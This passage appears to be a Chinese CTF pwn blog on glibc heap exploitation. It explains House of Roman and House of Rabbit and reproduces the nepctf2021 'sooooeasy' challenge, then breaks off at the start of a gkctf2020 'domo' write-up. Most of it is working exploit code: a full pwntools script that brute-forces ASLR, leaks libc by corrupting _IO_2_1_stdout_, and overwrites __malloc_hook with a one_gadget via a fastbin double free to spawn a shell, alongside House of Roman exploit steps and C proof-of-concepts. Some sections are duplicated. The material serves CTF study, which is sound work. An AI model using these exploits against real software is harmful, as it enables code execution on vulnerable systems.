    • 可以申请足够大小的 chunk
    • 可以控制 free 的参数

利用姿势

  • 修改fastbin chunk的大小:直接构造 overlap chunk,通过 fastbin consolidate 使其合法化
  • 修改FD指针:让 chunk->FD 指向一个 fake chunk,触发 fastbin consolidate 之后让这个 fake chunk 成为一个合法的 chunk(注意一下fake chunk的排列,不然会在consolidate时报错)

版本影响

经测试:libc-2.23 ~ libc-2.31 都可以打通


House Of Roman

House of Roman 的一个核心思路就是利用 局部写 减少随机化的程度,从而给出爆破的可能

这种利用手法的主要特点是不需要 leak libc的地址,用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的,且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下,就能完成利用(当然也可以来绕 PIE)

当程序没法泄露 libc_base 时,就会优先考虑 House Of Roman

利用条件

  • UAF(对 fastbin 中的“main_arena+xx”进行修改,使其指向目标地址)
  • off-by-one(覆写“size”的大小,为了使保留有“main_arena+xx”进入fastbin)

利用姿势

  • 利用 off-by-one 把原本不可能进入 fastbin 的 unsorted chunk 进行修改(修改 size 到 fastbin 的范围),使遗留有“main_arena+xx”的chunk进入 fastbin
  • 利用 UAF 修改遗留在 fast chunk 中的“main_arena+xx”,使其指向目标地址

版本影响

House Of Roman 并不依赖于 libc 源码,它的思想完全可以独立使用(覆盖main_arena)

但是实现 House Of Roman 需要 fastbin attack,unsortedbin attack 等技术的配合,而它们会受 libc 版本影响:

libc-2.27:

  • fastbin attack 需要绕 tache(对chunk的数量有要求)
  • unsortedbin attack 可以直接打(只检查了“victim->size”,形同虚设)

libc-2.29:

  • fastbin attack 需要绕 tache(对chunk的数量有要求)
  • unsortedbin attack 失效(其实也有办法可以绕过,只是条件苛刻)

House Of Roman

House of Roman 的一个核心思路就是利用 局部写 减少随机化的程度,从而给出爆破的可能

这种利用手法的主要特点是不需要 leak libc的地址,用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的,且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下,就能完成利用(当然也可以来绕 PIE)

  • 利用 off-by-one 把原本不可能进入 fastbin 的 unsorted chunk 进行修改(修改 size 到 fastbin 的范围),使遗留有“main_arena+xx”的chunk进入 fastbin
  • 利用 UAF 修改遗留在 fast chunk 中的“main_arena+xx”,使其指向目标地址

House Of Roman 利用姿势

外国老哥给了一个 demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
switch ( v4 )
{
case 1:
puts("Malloc");
v5 = malloc_chunk("Malloc");
if ( !v5 )
puts("Error");
break;
case 2:
puts("Write");
write_chunk("Write");
break;
case 3:
puts("Free");
free_chunk();
break;
default:
puts("Invalid choice");
break;
}
  • malloc_chunk:用户输入 size, 然后 malloc(size) , 大小不限
  • write_chunk:往指定 heap_ptr 写入 size+1 字节数据,off-by-one(Write时只是校验指针是否为0
  • free_chunk:调用 free 释放掉 heap_ptr ,不过没有清零,double freeuaf
1
2
3
4
5
6
7
8
9
void free_chunk()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

printf("\nEnter index :");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0x13 )
free(heap_ptrs[(unsigned __int64)v0]); // UAF
}

保护如下:

1
2
3
4
5
6
7
04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
[*] '/home/haclh/workplace/house_of_roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

分析外国老哥的exp:

一,分配 3chunk ,在 chunk2 + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack

1
2
3
4
5
6
7
8
9
create(0x18,0) # chunk1 
create(0xc8,1) # chunk2
create(0x65,2) # chunk3

info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61)
edit(1,fake) # set fakesize:0x71
info("fake")

二,释放掉 chunk2 , 然后分配同样大小再次分配到 chunk2 , 此时 chunk2+0x10chunk2+0x18 中有 main_arean 的地址,分配 3fastbin ,利用 off-by-one 修改 chunk2->size = 0x71

1
2
3
4
5
6
7
8
9
10
11
free(1) # chunk2 to unsortedbin
create(0xc8,1) # chunk2 new(include main_arena+88)

create(0x65,3) # chunk4
create(0x65,15) # chunk16
create(0x65,18) # chunk19

over = "A"*0x18 # off by one
over += "\x71"
edit(0,over) # set chunk2->size => 0x71(编辑chunk1,溢出到chunk2)
info("利用 off by one , chunk2's size --> 0x71")

这里的 off-by-one 保证了 chunk2 可以进入大小为“0x70~0x80”的 fastbin

这样“main_arena+88”就会进入 fastbin 了(方便后续的 UAF 进行修改)

三,生成两个 fastbin ,然后利用 uaf ,部分地址写,把 chunk1 链入到 fastbin

1
2
3
4
5
6
free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk1 链入到 fastbin 里面")
1
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
  • 0x555555757160 就是 chunk4
  • 0x555555757020 就是 chunk1(原本该是chunk3,但是末尾字节被覆盖了)

四,通过修改 chunk1->fd 的低 2 字节, 使得 chunk1->fd= malloc_hook - 0x23

1
2
3
malloc_hook_nearly = "\xed\x1a" # 该地址为 malloc_hook 上方
edit(1,malloc_hook_nearly)
info("部分写,修改 fastbin->fd ---> malloc_hook")

即把“main_arena+88”覆盖为“malloc_hook - 0x23”

五,然后分配 30x70chunk ,就可以拿到 malloc_hook 所在的那个 chunk

1
2
3
4
create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")

注意:这里设置的是“malloc_hook - 0x23”,存在“\x7f”来通过检查

六,释放掉 chunk16 ,进入 fastbin ,利用 uaf 设置 chunk16->fd = 0 , 修复了 fastbin

1
2
3
free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")

现在 fastbin 中只留有 chunk16 的地址(这个“修复”是什么意思,没有搞明白)

七,unsortedbin attack,使得 malloc_hook 被写入 main_arena+88

1
2
3
4
5
6
7
8
9
10
11
create(0xc8,1) # chunk2
create(0xc8,1) # chunk2
create(0x18,2) # chunk3
create(0xc8,3) # chunk4
create(0xc8,4) # chunk5
free(1) # 大小为"0xc8+0x10"的chunk2进入unsortedbin
po = "B"*8
po += "\x00\x1b" # 覆写FD的低地址,使其变为malloc_hook
edit(1,po)
create(0xc8,1) # 把chunk2申请回来,使malloc_hook变成unsortedbin中的最后一个chunk
info("unsorted bin 使得 malloc_hook 有 libc 的地址")

根据 unsortedbin 的特性,它会向 第一个chunk最后一个chunk 中写入 main_arena+xx ,修改其FD指向 malloc_hook最后一个chunk 就变为了 malloc_hook ,当然会被写入 main_arena+88

八,修改 malloc_hook 的低三个字节 ,使得 malloc_hookone_gadget 的地址

1
2
3
4
5
over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)

info("malloc_hook to one_gadget")

九,然后 free 两次同一个 chunk ,触发 malloc_printerrgetshell

1
2
free(18)
free(18)

上面的偏移均为调试所得,开启 aslr 后,需要爆破程序

利用条件:

  • UAF(对 fastbin 中的“main_arena+xx”进行修改,使其指向目标地址)
  • off-by-one(覆写“size”的大小,为了使保留有“main_arena+xx”进入fastbin)

版本对 House Of Roman 的影响

House Of Roman 并不依赖于 libc 源码,它的思想完全可以独立使用(覆盖main_arena)

但是实现 House Of Roman 需要 fastbin attack,unsortedbin attack 等技术的配合,而它们会受 libc 版本影响:

libc-2.27

  • fastbin attack 需要绕 tache(对chunk的数量有要求)
  • unsortedbin attack 可以直接打(只检查了“victim->size”,形同虚设)

libc-2.29

  • fastbin attack 需要绕 tache(对chunk的数量有要求)
  • unsortedbin attack 失效(其实也有办法可以绕过,只是条件苛刻)

nepctf2021 sooooeasy 复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  [/home/ywhkkx/桌面] ./sooooeasy 
NN NN EEEEEEEE PPPPPP
NNNN NN EE PP PP
NN NN NN EEEEEEE PPPPPP
NN NN NN EE PP
NN NNNN EE PP
NN NNN EEEEEEEE PP

PLEASE SIGN IN:


1. Add
2. Delete
3. Exit
Your choice :

标准堆模板(看上去没有“打印模块”和“修改模块”)

1
2
3
4
5
6
7
8
sooooeasy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01a6d58e17059a67f6576746d73859db1943e557, stripped

[*] '/home/ywhkkx/桌面/sooooeasy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
if ( !chunk_num )
return puts("Null!");
puts("mumber's index:");
_isoc99_scanf("%d", &index);
if ( index <= 0x13 && chunk_list[index] )
{
*(_DWORD *)chunk_list[index] = 0; // 置空inuse,释放name
free(*(void **)(chunk_list[index] + 8LL)); // UAF
return puts("Deleted!");
}
else
{
puts("index error!");
return 0;
}
}

明显的UAF

heap结构

本题目有以下结构体:

1
2
3
4
5
struct chunk_block{
unsigned int inuse;
unsigned int *name;
char message[24];
};

具体存储结构如下:

1
2
3
add(0x20,'1111','aaaa')
add(0x20,'2222','bbbb')
add(0x20,'3333','cccc')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/20xg 0x5638534cc000
0x5638534cc000: 0x0000000000000000 0x0000000000000031 // chunk_block1
0x5638534cc010: 0x0000000000000001 0x00005638534cc040 // addr of name1
0x5638534cc020: 0x0000000061616161 0x0000000000000000
0x5638534cc030: 0x0000000000000000 0x0000000000000031 // name1
0x5638534cc040: 0x0000000a31313131 0x0000000000000000
0x5638534cc050: 0x0000000000000000 0x0000000000000000
0x5638534cc060: 0x0000000000000000 0x0000000000000031 // chunk_block2
0x5638534cc070: 0x0000000000000001 0x00005638534cc0a0 // addr of name2
0x5638534cc080: 0x0000000062626262 0x0000000000000000
0x5638534cc090: 0x0000000000000000 0x0000000000000031 // name2
0x5638534cc0a0: 0x0000000a32323232 0x0000000000000000
0x5638534cc0b0: 0x0000000000000000 0x0000000000000000
0x5638534cc0c0: 0x0000000000000000 0x0000000000000031 // chunk_block2
0x5638534cc0d0: 0x0000000000000001 0x00005638534cc100 // addr of name2
0x5638534cc0e0: 0x0000000063636363 0x0000000000000000
0x5638534cc0f0: 0x0000000000000000 0x0000000000000031 // name2
0x5638534cc100: 0x0000000a33333333 0x0000000000000000
0x5638534cc110: 0x0000000000000000 0x0000000000000000
0x5638534cc120: 0x0000000000000000 0x0000000000020ee1

入侵思路

本题的完全没法泄露信息,看来我的独立解题就到此为止了,接下来学习大佬的操作

​ // 如果可以 leak 出 libc_base,就可以打 Double free

大佬的exp:(大佬显然想打爆破,学习了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
#context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=0.5)

libc=ELF('./libc-2.23.so')

def add(name_size,name='a',message='b'):
p.sendlineafter('choice : ','1')
p.sendlineafter('your name: \n',str(name_size))
p.sendafter('Your name:\n',name)
p.sendlineafter('Your message:\n',message)
def delete(idx):
p.sendlineafter('choice : ','2')
p.sendlineafter('index:',str(idx))
def pr(a,addr):
log.success(a+'===>'+hex(addr))

def pwn():
# over the “_IO_2_1_stdout - 0x43” (1/16)
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)))

# Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,'\x00')
add(0x60)
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
libc_realloc = libcbase + libc.sym['__libc_realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1]
pr('libcbase',libcbase)
pr('malloc_hook',malloc_hook)
pr('one',one)

# Double free + fastbin attack to get shell
delete(0)
delete(2)
delete(0)
add(0x60,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60,'a'*11+p64(one)+p64(libc_realloc+13))
p.sendlineafter('choice : ','1')

p.interactive()
while True:
try:
global p
p = process('./sooooeasy')
pwn()
break

except:
p.close()
print 'trying...'

接下来就来分析大佬的exp:

1
2
3
4
5
6
7
# over the “_IO_2_1_stdout - 0x43” (1/16)
add(0x60) # chunk0
add(0x90) # chunk1
add(0x60) # chunk2
delete(1)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] # 覆写末尾3字节
add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) # chunk1_new

delete(1) 执行后:

1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x558b8a0970d0
Size: 0xa1
fd: 0x7f8d183d8b78
bk: 0x7f8d183d8b78

add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) 执行后:

1
2
3
4
5
6
7
8
9
Allocated chunk | PREV_INUSE
Addr: 0x558b8a0970d0 // chunk_block1_new
Size: 0x31

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x558b8a097100 // chunk_block1_new->name
Size: 0x71
fd: 0x7f8d183d8b78 // 将会被覆写3字节(GDB似乎搞错了断点的位置,很奇怪)
bk: 0x7f8d183d8b78
1
2
3
4
5
pwndbg> telescope 0x558b8a097100 // 把断点打在后面,GDB才执行了这一步
00:00000x558b8a097100 ◂— 0x0
01:00080x558b8a097108 ◂— 0x21 /* '!' */
02:00100x558b8a097110 ◂— 0x7f8d183d0a30 // 成功覆盖
03:00180x558b8a097118 —▸ 0x7f8d183d8b78 (main_arena+88) —▸ 0x558b8a097210 ◂— 0x0

​ // GDB有时不能正确执行我们需要的指令,这里需要注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   # Double free to leak libc_base
delete(0)
delete(2)
delete(0)
add(0x60,'\x00')
add(0x60)
add(0x60)
add(0x60)
add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
libc_realloc = libcbase + libc.sym['__libc_realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1]
pr('libcbase',libcbase)
pr('malloc_hook',malloc_hook)
pr('one',one)

Double free 完成后:

1
0x70: 0x564859f8a030 —▸ 0x564859f8a1a0 ◂— 0x564859f8a030
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> telescope 0x564859f8a030 // chunk_block0->name
00:00000x564859f8a030 ◂— 0x0
01:00080x564859f8a038 ◂— 0x71 /* 'q' */
02:00100x564859f8a040 —▸ 0x564859f8a1a0 ◂— 0x0
03:00180x564859f8a048 ◂— 0x0
... ↓ 4 skipped
pwndbg> telescope 0x564859f8a1a0 // chunk_block2->name
00:00000x564859f8a1a0 ◂— 0x0
01:00080x564859f8a1a8 ◂— 0x71 /* 'q' */
02:00100x564859f8a1b0 —▸ 0x564859f8a030 ◂— 0x0
03:00180x564859f8a1b8 ◂— 0x0
... ↓ 4 skipped

接下来在申请了“chunk_block0->name”后,就可以在里面写写数据,从而改变“chunk_block2->name”的地址:(这里写入了“\x00”)

1
0x70: 0x5602a27a71a0 —▸ 0x5602a27a7030 —▸ 0x5602a27a7100 ◂— 0x7f1f0a9d25dd
1
2
3
4
5
6
pwndbg> telescope 0x5602a27a7100
00:00000x5602a27a7100 ◂— 0x0
01:00080x5602a27a7108 ◂— 0x71 /* 'q' */
02:00100x5602a27a7110 ◂— 0x7f1f0a9d25dd
03:00180x5602a27a7118 —▸ 0x7f1f0a9ddb78 (main_arena+88) —▸ 0x5602a27a7240 ◂— 0x0
04:00200x5602a27a7120 ◂— 0x0

接下来一直申请,就可以劫持到 _IO_2_1_stdout_s ,篡改 _IO_2_1_stdout 的 flags 为 “0x0FBAD1887” ,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base_IO_write_ptr 之间的数据,而这之间就有 libc 的指针

1
2
3
4
5
6
7
8
9
   # Double free + fastbin attack to get shell
delete(0)
delete(2)
delete(0)
add(0x60,p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60,'a'*11+p64(one)+p64(libc_realloc+13))
p.sendlineafter('choice : ','1')

这次直接覆盖“malloc_hook-0x23”,下一次可以申请到“malloc_hook-0x23”


小结:

本题目的难点就在于没有打印模块,需要利用 _IO_2_1_stdout_ 的机制(这也是我第一次遇到通过 _IO_2_1_stdout_ 来打印信息的题目,以后学一学),抛开这一点不谈,本题目还开放了一下我的“脑洞”:

  • 覆盖“main_arena+88”低地址来爆破“libc库函数”的操作(有House Of Roman的味道)
  • 利用 Double free 间接插入“不确定地址”的操作(改变FD指向)
  • 还有一种快速获取目标低地址的操作

House Of Rabbit

House of rabbit 是一种伪造堆块的技术,一般运用在 fastbin attack 中

核心:利用 fastbin consolidate 使 fastbin 中的 fake chunk 合法化

利用点:我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出,而 house of rabbit 就利用了程序在 fastbin consolidate 的时候 ,没有对 size 进行检查

两种常见的利用手段:

  • 修改fastbin chunk的大小:直接构造 overlap chunk,通过 fastbin consolidate 使其合法化
  • 修改FD指针:让 chunk->FD 指向一个 fake chunk,触发 fastbin consolidate 之后让这个 fake chunk 成为一个合法的 chunk(注意一下fake chunk的排列,不然会在consolidate时报错)

House Of Rabbit 利用姿势

修改fastbin chunk的大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(){

unsigned long* chunk1=malloc(0x40);
unsigned long* chunk2=malloc(0x40);
unsigned long* chunk3=malloc(0x10);
unsigned long* chunk4;

free(chunk1);
free(chunk2);
chunk1[-1]=0xa1;
chunk4=malloc(0x1000); // 触发fastbin合并

chunk1[0]="chunk1";
chunk2[0]="chunk2";
chunk3[0]="chunk3";
chunk4[0]="chunk4";

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> telescope 0x55555555b000
00:00000x55555555b000 ◂— 0x0
01:00080x55555555b008 ◂— 0xa1
02:00100x55555555b010 —▸ 0x555555556004 ◂— 0x6300316b6e756863 /* 'chunk1' */
03:00180x55555555b018 —▸ 0x7ffff7dd1c08 (main_arena+232) —▸ 0x7ffff7dd1bf8 (main_arena+216) —▸ 0x7ffff7dd1be8 (main_arena+200) —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— ...
04:00200x55555555b020 ◂— 0x0
... ↓ 3 skipped
08:00400x55555555b040 ◂— 0x0
... ↓ 2 skipped
0b:00580x55555555b058 ◂— 0x51 /* 'Q' */
0c:00600x55555555b060 —▸ 0x55555555600b ◂— 0x6300326b6e756863 /* 'chunk2' */
0d:00680x55555555b068 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
0e:00700x55555555b070 ◂— 0x0
0f:00780x55555555b078 ◂— 0x0
10:00800x55555555b080 ◂— 0x0
... ↓ 3 skipped
14:00a0│ 0x55555555b0a0 ◂— 0xa0
15:00a8│ 0x55555555b0a8 ◂— 0x20 /* ' ' */
16:00b0│ 0x55555555b0b0 —▸ 0x555555556012 ◂— 0x6300336b6e756863 /* 'chunk3' */
17:00b8│ 0x55555555b0b8 ◂— 0x0
18:00c0│ 0x55555555b0c0 ◂— 0x0
19:00c8│ 0x55555555b0c8 ◂— 0x1011
1a:00d0│ rax 0x55555555b0d0 —▸ 0x555555556019 ◂— 0x100346b6e756863 /* 'chunk4' */
1b:00d8│ 0x55555555b0d8 ◂— 0x0

chunk1辐射的区域:

1
2
3
4
5
In [7]: 0x55555555b000+0xa0
Out[7]: 93824992260256

In [8]: hex(93824992260256)
Out[8]: '0x55555555b0a0'

chunk2辐射的区域:

1
2
3
4
5
In [9]: 0x55555555b050+0x50
Out[9]: 93824992260256

In [10]: hex(93824992260256)
Out[10]: '0x55555555b0a0'

修改FD指针:(如果集齐了这些条件,打Double free肯定优于它)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(){

unsigned long* chunk1=malloc(0x40);
unsigned long* chunk2=malloc(0x100);
unsigned long* chunk3;
unsigned long* chunk4;

chunk1[0]="chunk1";
chunk2[0]="chunk2";
chunk2[1]=0x31; // fake chunk1->size 0x30
chunk2[7]=0x21; // fake chunk2->size 0x20
chunk2[11]=0x21; // fake chunk3->size 0x20
/* P位都必须为'1'(fastbin chunk的P位总是为'1') */
/* 其实这里这样操作不是为了绕过检查,而是为了防止consolidate时报错 */
free(chunk1);
chunk1[0]=chunk2;

chunk3=malloc(5000);
chunk4=malloc(0x20);
chunk3[0]="chunk3";
chunk4[0]="chunk4";

return 0;
}

chunk3=malloc(5000) 执行前:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55555555b000 —▸ 0x55555555b060 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
// 0x55555555b000: chunk1
// 0x55555555b060: chunk2 data(fake chunk1)

强行令 chunk1->FD 指向 chunk2 data(fake chunk1)

chunk3=malloc(5000) 执行后:

1
2
3
4
5
smallbins
// fake chunk1->size:0x30
0x30: 0x55555555b060 —▸ 0x7ffff7dd1b98 (main_arena+120) ◂— 0x55555555b060
// chunk1->size:0x50
0x50: 0x55555555b000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x55555555b000

查看最终的 heap 排列:(“fake chunk1”将会作为“chunk4”被申请)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> telescope 0x55555555b000
00:00000x55555555b000 ◂— 0x0
01:00080x55555555b008 ◂— 0x51 /* 'Q' */
02:00100x55555555b010 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
03:00180x55555555b018 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
04:00200x55555555b020 ◂— 0x0
... ↓ 3 skipped
08:00400x55555555b040 ◂— 0x0
09:00480x55555555b048 ◂— 0x0
0a:00500x55555555b050 ◂— 0x50 /* 'P' */
0b:00580x55555555b058 ◂— 0x110
0c:00600x55555555b060 —▸ 0x55555555600b ◂— 0x6300326b6e756863 /* 'chunk2' */
0d:00680x55555555b068 ◂— 0x31 /* fake chunk1->size */
0e:0070│ rax 0x55555555b070 —▸ 0x555555556019 ◂— 0x100346b6e756863 /* 'chunk4' */
0f:00780x55555555b078 —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x55555555c4f0 ◂— ...
10:00800x55555555b080 ◂— 0x0
11:00880x55555555b088 ◂— 0x0
12:00900x55555555b090 ◂— 0x30 /* '0' */
13:00980x55555555b098 ◂— 0x21 /* fake chunk2->size */
14:00a0│ 0x55555555b0a0 ◂— 0x0
... ↓ 2 skipped
17:00b8│ 0x55555555b0b8 ◂— 0x21 /* fake chunk3->size */
..........................
2d:01680x55555555b168 ◂— 0x1391
2e:01700x55555555b170 —▸ 0x555555556012 ◂— 0x6300336b6e756863 /* 'chunk3' */
2f:01780x55555555b178 ◂— 0x0

chunk2 和 chunk4(fake chunk1)明显重叠了

利用条件:

House Of Rabbit 功能很强大,但条件过多并且有替代选项:

  • 修改fastbin chunk的大小(感觉和unlink条件差不多,效果也差不多)
    • 堆溢出(有时off-by-one也利用),可以覆盖 nextchunk->size
    • 可以申请足够大小的 chunk
    • 可以控制 free 的参数
  • 修改FD指针(这种情况不用考虑,因为可以打 Double free,除非特殊情况)
    • 有修改模块,并且有UAF(可以修改 free chunk)
    • 可以申请足够大小的 chunk
    • 可以控制 free 的参数

版本对 House Of Rabbit 的影响

经测试:libc-2.23 ~ libc-2.31 都可以打通

最后挂一下 fastbin consolidate 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

atomic_store_relaxed (&av->have_fastchunks, false);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, NULL);
if (p != 0) {
do {
{
unsigned int idx = fastbin_index (chunksize (p));
if ((&fastbin (av, idx)) != fb)
malloc_printerr ("malloc_consolidate(): invalid chunk size");
}

check_inuse_chunk(av, p);
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = chunksize (p);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}

​ // 反正我没有看出来哪里会导致 consolidate 报错,以后慢慢看把

gkctf2020 domo 复现

1
2
3
4
5
6
Welcome to GKCTF
1: Add a user
2: Delete a user
3: Show a user
4: Edit a user
5: Exit
1
2
3
4
5
6
7
8
domo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b8ef84fe110e5098832857f8a42e28fb72b4ff26, stripped

[*] '/home/ywhkkx/桌面/domo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

程序是给了 libc.so ,可以查看版本:

1
2
➜  [/home/ywhkkx/tool/LibcSearcher/libc-database] git:(master) ./find __libc_start_main 740
ubuntu-glibc (libc6_2.23-0ubuntu3_amd64)

漏洞分析

1
2
3
4
5
6
7
8
if ( size >= 0 && size <= 288 )
{
*((_QWORD *)&chunk_list + index) = malloc(size);
puts("content:");
read(0, *((void **)&chunk_list + index), (unsigned int)size);
*(_BYTE *)(*((_QWORD *)&chunk_list + index) + size) = 0;// off-by-one
++chunk_num[0];
}

经典 off-by-one

入侵思路

程序ban了 hook,开了 Full RELRO,修改模块又没法正常使用(其实到这里的时候,我唯一想到的制胜手段就是 leak Environ 获取栈地址,然后WAA返回地址进行 ret 劫持)

我自己尝试完成本题目时遇到了不小的麻烦,利用 unsortedbin 泄露了 libc_base,构造 fastbin 泄露了 head_addr ,但是我的构造方式很紊乱,导致之后的 unlink 完全没办法进行,所以我还是学习一下大佬的 exp 把:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
